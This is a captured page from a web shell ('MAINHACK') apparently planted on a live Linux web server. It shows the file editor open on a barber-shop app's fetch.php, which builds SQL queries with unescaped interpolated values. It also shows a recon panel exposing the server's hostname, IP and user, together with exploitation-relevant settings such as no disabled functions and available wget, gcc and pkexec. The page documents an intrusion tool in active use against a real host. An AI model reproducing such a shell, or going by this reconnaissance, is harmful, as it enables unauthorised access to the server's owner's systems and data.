[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fetch.php
<?php //fetch.php include("db.php"); $shopname = $_SESSION['business_name_Xw211qAAsq4']; $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; $output = ''; if(isset($_POST["query"])) { $search = mysqli_real_escape_string($new, $_POST["query"]); // $search = test_input($_POST["query"]); $query = "SELECT service_name,service_price,business_name FROM services WHERE service_name LIKE '$search%' OR service_price LIKE '$search%' AND business_name = '$shopname'"; } else { $query = " SELECT * FROM services WHERE business_name = '$shopname' ORDER by service_name "; } $result = mysqli_query($new, $query); if(mysqli_num_rows($result) > 0) { while($row = mysqli_fetch_array($result)) {?> <div class="form-group"> <input type="checkbox" id="checkbox1" name="service_id[]" value="<?php echo $row['service_id'];?>" <?php if($row['s_status'] == 1) echo 'checked';?>> <input type="checkbox" id="checkbox2" name="service_price1[]" value="<?php echo $row['service_price'];?>"<?php if($row['s_status'] == 1) echo 'checked';?>> <!--<input type="checkbox" id="checkbox2" name="service_price1[]" value="<?php echo $row['service_price'];?><?php if($row['s_status'] == 1) echo 'checked';?>">--> <label for="vehicle1"> <?php echo $row['service_name'];?> - <?php echo $qurtyCurrency;?> <?php echo $row['service_price'];?> <li class="list-inline-item" data-toggle="tooltip" title="Change Price"> <a href="javascript:;" class="addAttrr" data-toggle="modal" data-target="#qtyModal" data-id="<?php echo $row['service_id']; ?>"> ch</a></li> </label> </div> <!-- $output .= ' <tr> <td>'.$row["CustomerName"].'</td> <td>'.$row["Address"].'</td> <td>'.$row["City"].'</td> <td>'.$row["PostalCode"].'</td> <td>'.$row["Country"].'</td> </tr> '; --> <?php }?> <?php } else { echo "<h6 class='text-danger text-center mt-3'>No service found</h6>"; } ?> <script> $('.addAttr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> <script> $('.addAttrr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> <!-- <script type="text/javascript"> // Get references to the master checkbox and related checkboxes var masterCheckbox = document.getElementById('masterCheckbox'); var relatedCheckboxes = document.getElementsByClassName('relatedCheckbox'); // Add event listener to the master checkbox masterCheckbox.addEventListener('change', function() { // Get the checked status of the master checkbox var isChecked = masterCheckbox.checked; // Loop through the related checkboxes and update their checked status for (var i = 0; i < relatedCheckboxes.length; i++) { relatedCheckboxes[i].checked = isChecked; } }); // Add event listeners to each related checkbox for (var j = 0; j < relatedCheckboxes.length; j++) { relatedCheckboxes[j].addEventListener('change', function() { // Get the checked status of the current related checkbox var isChecked = this.checked; // Update the master checkbox based on the checked status of related checkboxes masterCheckbox.checked = Array.from(relatedCheckboxes).every(function(checkbox) { return checkbox.checked; }); }); } </script> --> <script type="text/javascript"> $(document).ready(function() { $('#add_category_bttn').submit(function(event) { event.preventDefault(); var submitButton = $('#submitButton'); submitButton.prop('disabled', true); // Disable the submit button $.ajax({ url: 'insertSales.php', type: 'post', headers: {'X-CSRF-Token': $('#csrf_token').val()}, data: $('#add_category_bttn').serialize(), dataType: 'json', success: function(response) { if (response.status == 'success') { swal("Success!", response.message, "success").then(() => { location.reload(); }); submitButton.prop('disabled', false); // Re-enable the submit button //window.location.href = response.redirect; $('#add_category_bttn')[0].reset(); } else { swal("Error!", response.message, "error").then(() => { location.reload(); }); submitButton.prop('disabled', false); // Re-enable the submit button } } }); }); }); </script> <script type="text/javascript"> $('input[name="service_id[]"]').change(function(){ var values = []; $('input[name="service_id[]"]').each(function(){ var value = $(this).prop('checked') ? 1 : 0; values.push({id: $(this).val(), value: value}); }); $.ajax({ url: 'update_cart.php', type: 'POST', data: {values: values}, dataType: 'json', success: function(response) { if (response.status == 'success') { swal("Success!", response.message, "success").then(() => { //location.reload(); }); } } }); }); </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002